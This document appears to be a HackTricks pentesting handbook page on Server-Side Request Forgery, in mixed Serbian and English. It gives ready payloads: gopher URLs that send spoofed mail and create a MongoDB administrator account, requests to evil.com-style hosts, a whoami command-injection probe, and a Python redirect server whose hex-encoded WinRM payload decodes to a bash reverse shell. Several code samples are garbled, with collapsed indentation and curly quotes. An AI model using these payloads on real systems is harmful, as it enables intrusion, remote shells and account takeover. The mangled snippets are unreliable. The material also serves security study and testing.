SSRF (Server Side Request Forgery)

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

Ranljivost Server-side Request Forgery (SSRF) se javlja kada napadač manipuliše server-side application da izvrši HTTP requests ka domenu po svom izboru. Ova ranjivost izlaže server proizvoljnim spoljnim zahtevima koje napadač usmerava.

Hvatanje SSRF

Prvo što treba da uradite je da zabeležite SSRF interakciju koju generišete. Za snimanje HTTP ili DNS interakcije možete koristiti alate kao što su:

Zaobilaženje whitelistovanih domena

Obično ćete otkriti da SSRF radi samo za određene whitelisted domenе ili URL-ove. Na sledećoj stranici imate kompilaciju tehnika za pokušaj zaobilaženja te white liste:

URL Format Bypass

Bypass via open redirect

Ako je server pravilno zaštićen, možete zaobići sva ograničenja iskorišćavanjem Open Redirect-a unutar web stranice. Pošto web stranica dozvoljava SSRF ka istom domenu i verovatno će pratiti redirects, možete iskoristiti Open Redirect da naterate server da pristupi bilo kom internom resursu.
Više pročitajte ovde: https://portswigger.net/web-security/ssrf

Protokoli

  • file://
  • Shema URL-a file:// se pominje, ukazujući direktno na /etc/passwd: file:///etc/passwd
  • dict://
  • DICT URL shema se opisuje kao korišćena za pristup definicijama ili listama reči preko DICT protokola. Dat je primer konstruktovanog URL-a koji cilja određenu reč, bazu i broj unosa, kao i primer PHP skripte koja bi mogla biti zloupotrebljena da se poveže na DICT server koristeći kredencijale koje obezbeđuje napadač: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
  • SFTP://
  • Identifikovan kao protokol za siguran prenos fajlova preko secure shell, dat je primer koji pokazuje kako bi PHP skripta mogla biti iskorišćena da se poveže na zlonamerni SFTP server: url=sftp://generic.com:11111/
  • TFTP://
  • Trivial File Transfer Protocol, koji radi preko UDP, pominje se sa primerom PHP skripte dizajnirane da pošalje zahtev TFTP serveru. TFTP zahtev je upućen na ‘generic.com’ na port ‘12346’ za fajl ‘TESTUDPPACKET’: ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
  • LDAP://
  • Ovaj odeljak pokriva Lightweight Directory Access Protocol, naglašavajući njegovu upotrebu za upravljanje i pristup distribuiranim directory information servisima preko IP mreža. Interakcija sa LDAP serverom na localhost: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
  • SMTP
  • Opisan je metod za iskorišćavanje SSRF ranjivosti za interakciju sa SMTP servisima na localhost, uključujući korake za otkrivanje internih domena i dalje istrage na osnovu tih informacija.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - WAF bypass
  • Ako je SSRF izvršen pomoću curl, curl ima funkciju nazvanu URL globbing koja bi mogla biti korisna za zaobilaženje WAFs. Na пример, у овом writeup можете пронаћи пример за path traversal via file protocol:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://
  • Opisana je mogućnost Gopher protokola da specificira IP, port i bajtove za komunikaciju sa serverom, zajedno sa alatima kao što su Gopherus i remote-method-guesser za kreiranje payloads. Ilustrovane su dve različite upotrebe:

Gopher://

Korišćenjem ovog protokola možete odrediti IP, port i bajtove koje želite da server pošalje. Zatim, praktično možete iskoristiti SSRF da biste komunicirali sa bilo kojim TCP serverom (ali prvo morate znati kako da razgovarate sa tim servisom).
Srećom, možete koristiti Gopherus za kreiranje payloads za nekoliko servisa. Pored toga, remote-method-guesser se može koristiti za kreiranje gopher payloads za Java RMI servise.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — Back connect na 1337

<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

Gopher MongoDB – Kreiraj korisnika sa username=admin, password=admin123 i permission=administrator

# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF preko Referrer header & Ostalo

Analitički softver na serverima često beleži Referrer header kako bi pratio dolazne linkove, praksa koja nenamerno izlaže aplikacije Server-Side Request Forgery (SSRF) ranjivostima. Razlog je što takav softver može posetiti eksterne URL-ove pomenute u Referrer headeru da bi analizirao sadržaj referentnog sajta. Da bi se otkrile ove ranjivosti, preporučuje se Burp Suite plugin “Collaborator Everywhere”, koji iskorišćava način na koji analytics alati procesuiraju Referer header da identifikuju potencijalne SSRF površine napada.

SSRF preko SNI podataka iz sertifikata

Konfiguraciona greška koja bi mogla omogućiti konekciju ka bilo kojem backendu kroz jednostavno podešavanje ilustrovana je primerom Nginx konfiguracije:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

U ovoj konfiguraciji, vrednost iz Server Name Indication (SNI) polja se direktno koristi kao adresa backenda. Ova postavka otkriva ranjivost na Server-Side Request Forgery (SSRF), koju je moguće iskoristiti jednostavnim navođenjem željene IP adrese ili domena u SNI polju. Primer exploita za prisiljavanje konekcije ka proizvoljnom backendu, kao što je internal.host.com, koristeći openssl komandu dat je ispod:

openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

SSRF preko TLS AIA CA Issuers (Java mTLS)

Neki TLS stack-ovi automatski preuzimaju nedostajuće intermediate CA koristeći Authority Information Access (AIA) → CA Issuers URI unutar peer sertifikata. U Java, omogućavanje -Dcom.sun.security.enableAIAcaIssuers=true prilikom pokretanja mTLS servisa navodi server da dereferencira URI-je kojima napadač upravlja iz klijentskog sertifikata tokom handshake-a, pre nego što se pokrene bilo kakva HTTP logika.

  • Zahtevi: mTLS omogućen, Java AIA preuzimanje omogućeno, napadač može predstaviti klijentski sertifikat sa izmanipulisanim AIA CA Issuers URI.
  • Pokretanje SSRF-a (primer za Java 21):
java -Djava.security.debug=certpath \
-Dcom.sun.security.enableAIAcaIssuers=true \
-Dhttp.agent="AIA CA Issuers PoC" -jar server.jar
# Attacker cert AIA: http://localhost:8080
nc -l 8080 -k                      # observe the outbound fetch
curl https://mtls-server:8444 --key client-aia-key.pem --cert client-aia-localhost-cert.pem --cacert ca-cert.pem

Izlaz debugovanja Java certpath-a prikazuje CertStore URI:http://localhost:8080, a nc beleži HTTP zahtev sa kontrolabilnim User-Agent iz -Dhttp.agent, dokazujući SSRF tokom validacije sertifikata.

  • DoS via file://: postavljanje AIA CA Issuers na file:///dev/urandom na Unix-like hostovima tera Java da ga tretira kao CertStore i čita neograničen broj nasumičnih bajtova, zauzimajući CPU jezgro i blokirajući naredne konekcije čak i nakon što se klijent odvoji.

SSRF preko CSS pre-procesora

LESS je popularan CSS pre-procesor koji dodaje promenljive, mixin-e, funkcije i moćnu @import direktivu. Tokom kompajliranja LESS engine će fetch the resources referenced in @import izjavama i ugraditi (“inline”) njihov sadržaj u rezultujući CSS kada je opcija (inline) korišćena.

Check how to exploit it in:

LESS Code Injection

Wget file upload

SSRF sa Command Injection

Vredi probati payload poput: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

Renderovanje PDF-ova

Ako web stranica automatski kreira PDF sa nekim informacijama koje ste dali, možete ubaciti neki JS koji će biti izvršen od strane PDF kreatora samog (servera) tokom kreiranja PDF-a i bićete u mogućnosti da iskoristite SSRF. Find more information here.

Od SSRF-a do DoS-a

Kreiraj više sesija i pokušaj da preuzmeš velike fajlove iskorišćavanjem SSRF-a iz tih sesija.

SSRF PHP funkcije

Pogledaj sledeću stranicu za ranjive PHP i čak Wordpress funkcije:

PHP SSRF

SSRF preusmeravanje na Gopher

Za neke eksploatacije može biti potrebno da pošalješ redirect odgovor (potencijalno da upotrebiš drugačiji protokol kao gopher). Ovde imaš različite python kodove za odgovor sa preusmeravanjem:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)

Pogrešno konfigurisanih proxies za SSRF

Trikovi from this post.

Flask

Flask proxy ranjiv kod ```python from flask import Flask from requests import get

app = Flask(‘main’) SITE_NAME = ‘https://google.com’

@app.route(‘/’, defaults={‘path’: ‘’}) @app.route(‘/path:path’)

def proxy(path): return get(f’{SITE_NAME}{path}’).content

if name == “main”: app.run(threaded=False)

</details>

Flask dozvoljava korišćenje **`@`** kao početnog karaktera, što omogućava da se **inicijalni host name postavi kao username** i ubaci novi. Zahtev za napad:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

Ranljiv kod:

Otkriveno je da je moguće započeti putanju zahteva karakterom ;, što potom omogućava upotrebu @ i ubrizgavanje novog hosta za pristup. Napadni zahtev:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

PHP ugrađeni web server

Ranljiv PHP kod ```php

$proxy_site = $site.$current_uri; var_dump($proxy_site);

echo “\n\n”;

$response = file_get_contents($proxy_site); var_dump($response); ?>

PHP omogućava upotrebu **znaka `*` pre kosog crte u putanji** URL-a, međutim, ima i druga ograničenja: može se koristiti samo za root putanju `/`, i tačke `.` nisu dozvoljene pre prve kosog crte, pa je, na primer, potrebno koristiti dotless-hex kodiranu IP adresu:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close

DNS Rebidding CORS/SOP bypass

If you are having problems to exfiltrate content from a local IP because of CORS/SOP, DNS Rebidding can be used to bypass that limitation:

CORS - Misconfigurations & Bypass

Automatizovani DNS Rebidding

Singularity of Origin je alat za izvođenje DNS rebinding napada. Uključuje neophodne komponente da rebinduje IP adresu DNS imena servera napadača na IP adresu ciljanog računara i da servira attack payloads za iskorišćavanje ranjivog softvera na ciljnom računaru.

Pogledajte takođe i javno pokrenut server na http://rebind.it/singularity.html

DNS Rebidding + TLS Session ID/Session ticket

Zahtevi:

  • SSRF
  • Outbound TLS sessions
  • Servisi na lokalnim portovima

Napad:

  1. Zatražite od korisnika/bota da pristupi domenu pod kontrolom napadača
  2. TTL DNS-a je 0 sekundi (tako da će žrtva uskoro ponovo proveriti IP domene)
  3. Uspostavlja se TLS konekcija između žrtve i domene napadača. Napadač ubacuje payload unutar Session ID ili Session Ticket.
  4. Domena će pokrenuti beskonačnu petlju redirect-ova protiv same sebe. Cilj je naterati korisnika/bota da pristupa domeni dok ponovo ne izvrši DNS zahtev za tu domenu.
  5. U DNS odgovoru će sada biti vraćena privatna IP adresa (npr. 127.0.0.1)
  6. Korisnik/bot će pokušati da ponovo uspostavi TLS konekciju i pri tome će poslati Session ID/Ticket ID (u kojem je bio sadržan payload napadača). Dakle, čestitamo — uspeli ste da naterate korisnika/bota da napadne samog sebe.

Imajte na umu da tokom ovog napada, ako želite da napadnete localhost:11211 (memcache), morate naterati žrtvu da uspostavi početnu konekciju sa www.attacker.com:11211 (port mora uvek biti isti).
Za izvođenje ovog napada možete koristiti alat: https://github.com/jmdx/TLS-poison/
Za više informacija pogledajte prezentaciju u kojoj je ovaj napad objašnjen: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

Blind SSRF

Razlika između blind SSRF i ne-blind SSRF je u tome što kod blind SSRF ne možete videti odgovor SSRF zahteva. Zbog toga je eksploatacija teža jer ćete moći iskoristiti samo dobro poznate ranjivosti.

Time based SSRF

Proverom vremena odgovora servera može biti moguće utvrditi da li resurs postoji ili ne (možda je potrebno više vremena za pristup postojećem resursu nego pristup onom koji ne postoji)

Od blind do potpune zloupotrebe status kodova

Prema ovom blog postu, neki blind SSRF-ovi mogu nastati jer, iako ciljani URL odgovori sa 200 status kodom (kao AWS metadata), ti podaci nisu pravilno formatirani i aplikacija ih može odbiti prikazati.

Međutim, ustanovljeno je da slanjem odgovora sa redirect kodovima od 305 do 309 u SSRF-u može biti moguće naterati aplikaciju da prati te redirect-ove dok ne uđe u režim greške koji više ne proverava format podataka i može ih jednostavno ispisati.

Python server koji se koristi za eksploataciju ovog je sledeći:

@app.route("/redir")
def redir():
count = int(request.args.get("count", 0)) + 1
# Pump out 305, 306, 307, 308, 309, 310 ...
weird_status = 301 + count
if count >= 10:                      # after 5 “weird” codes
return redirect(METADATA_URL, 302)
return redirect(f"/redir?count={count}", weird_status)

@app.route("/start")
def start():
return redirect("/redir", 302)

Koraci:

  • Prvo 302 natera aplikaciju da počne da sledi.
  • Zatim prima 305 → 306 → 307 → 308 → 309 → 310.
  • Nakon petog čudnog koda PoC konačno vraća 302 → 169.254.169.254 → 200 OK.

Šta se dešava unutar cilja:

  • libcurl sam po sebi zapravo sledi 305–310; on samo normalizuje nepoznate kodove u “follow.”
  • Posle N čudnih preusmeravanja (ovde ≥ 5) aplikacioni wrapper odluči da je “nešto pogrešno” i pređe u režim greške namenjen za debugovanje.
  • U tom režimu ispiše ceo lanac preusmeravanja i konačno telo nazad spoljnjem pozivaocu.
  • Rezultat: napadač vidi svako zaglavlje + metadata JSON, misija izvršena.

Obratite pažnju da je ovo interesantno za leak status kodova koje ranije niste mogli leak-ovati (kao 200). Međutim, ако biste nekako mogli i da izaberete status kod odgovora (zamislite da možete da odredite da AWS metadata odgovori sa status kodom 500), mogu postojati neki status kodovi koji direktno leak-uju sadržaj odgovora.

HTML-to-PDF rendereri kao blind SSRF gadgets

Biblioteke kao što su TCPDF (i wrapperi poput spipu/html2pdf) automatski će dohvatati bilo koje URL-ove prisutne u HTML-u koji kontroliše napadač prilikom renderovanja PDF-a. Svaki <img> ili <link rel="stylesheet"> atribut se rešava server-side preko cURL, getimagesize(), ili file_get_contents(), tako da možete naterati PDF worker da sondira interne hostove iako vam nijedan HTTP odgovor nije reflektovan.

<html>
<body>
<img width="1" height="1" src="http://127.0.0.1:8080/healthz">
<link rel="stylesheet" type="text/css" href="http://10.0.0.5/admin" />
</body>
</html>
  • TCPDF 6.10.0 issues several retrieval attempts for each <img> resource, so a single payload can generate multiple requests (helpful for timing-based port scans).
  • html2pdf copies TCPDF’s behaviour for <img> and adds CSS fetching inside Css::extractStyle(), which simply calls file_get_contents($href) after a shallow scheme check. Abuse it to hit loopback services, RFC1918 ranges, or cloud metadata endpoints.
  • Combine this SSRF primitive with the HTML-to-PDF path traversal tricks to leak both internal HTTP responses and local files rendered into the PDF.

Hardeners should strip external URLs before rendering or isolate the renderer in a network sandbox; until then, treat PDF generators as blind SSRF proxies.

Eksploatacija SSRF u cloud okruženju

Ako pronađete SSRF ranjivost na mašini koja radi unutar cloud okruženja, možda ćete moći da dobijete zanimljive informacije o cloud okruženju pa čak i kredencijale:

Cloud SSRF

Platforme ranjive na SSRF

Nekoliko poznatih platformi sadrži ili je nekada sadržalo SSRF ranjivosti — proverite ih ovde:

SSRF Vulnerable Platforms

Alati

SSRFMap

Alat za otkrivanje i eksploataciju SSRF ranjivosti

Gopherus

Ovaj alat generiše Gopher payload-e za:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

remote-method-guesser je skener ranjivosti za Java RMI koji podržava napadačke operacije za većinu uobičajenih Java RMI ranjivosti. Većina dostupnih operacija podržava opciju --ssrf, za generisanje SSRF payload-a za traženu operaciju. Zajedno sa opcijom --gopher, spremni za upotrebu gopher payload-i mogu se generisati direktno.

SSRF Proxy

SSRF Proxy je multi-threaded HTTP proxy server dizajniran da tuneluje klijentski HTTP saobraćaj kroz HTTP servere ranjive na Server-Side Request Forgery (SSRF).

Za vežbu

GitHub - incredibleindishell/SSRF_Vulnerable_Lab: This Lab contain the sample codes which are vulnerable to Server-Side Request Forgery attack

Reference

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks